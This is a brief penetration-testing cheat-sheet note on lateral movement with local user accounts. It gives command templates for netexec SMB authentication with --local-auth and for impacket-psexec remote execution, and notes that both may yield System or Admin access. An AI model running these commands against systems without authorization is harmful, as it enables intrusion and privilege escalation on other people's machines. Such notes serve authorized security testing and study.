Local User Lateral Movement

Tools: CrackMapExec/Netexec , impacket (all modules without domain/)

netexec smb -u USER -p PASS IP --local-auth

impacket-psexec USER:PASSWORD@IP (Example)

Both of these techniques may grant System/Admin access